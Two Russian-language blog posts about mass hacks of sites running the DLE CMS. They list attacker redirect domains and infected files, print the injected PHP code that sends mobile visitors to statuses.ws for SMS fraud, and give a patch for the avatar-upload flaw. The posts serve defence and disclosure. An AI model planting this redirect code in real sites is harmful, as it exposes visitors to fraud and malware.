Home › Tag Archives › DLE

Очередной взлом сайтов на DLE

Ну вот не прошло и нескольких дней как хакер(предположительно с Украины) продолжил свою деятельность по взому сайтов на DLE.

В этот раз встраиваемый код стал немного другим.
Перенаправление происходит на несколько сайтов:

statuses.ws
live-internet.ws
googlecount.ws
livecountall.ws
googleinternet.ws
yacounter.ws
getinternet.ws
yandex-google.ws
ya-googl.ws
ya-analytics.ws
yadirect.ws

На этих сайтах происходит перенаправление пользователей зашедших с некоторых мобильных устройств, не со всех.

Перенаправление происходит на СМС агрегатора, который внедряет в ваш телефон приложение или вынуждает отправить платное СМС.

 

На этот раз инфицируются следующие файлы:

/index.php
/engine/data/dbconfig.php
/engine/data/config.php
/engine/init.php
/engine/engine.php
/language/Russian/website.lng

При этом взломщик предусмотрел возможность апгрейта своего скрипта встраиванием шелл кода в файлы.

Будьте внимательны!

 

 

 

 

 

Взлом DLE загрузкой аватара с вредоносным кодом

Этот новый год начался забавно.
Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE.

Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника.

index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php

Перенаправление происходило только для пользователей сматфонов и прочих продвинутых телефонов.

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

Итак как же исправить эту уязвимость в DLE?

В нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:

 

if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) {
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
} else {
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
}

Так вот все дело в этой строчке

@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

Т.е. если аватар не надо изменять по размеру то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.

Необходимо преобразовать этот блок кода в новый:

$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] );
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

После этого загрузить аватар с вредоносным кодом будет невозможно.
Файлы для редактирования:

engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php

Удачи!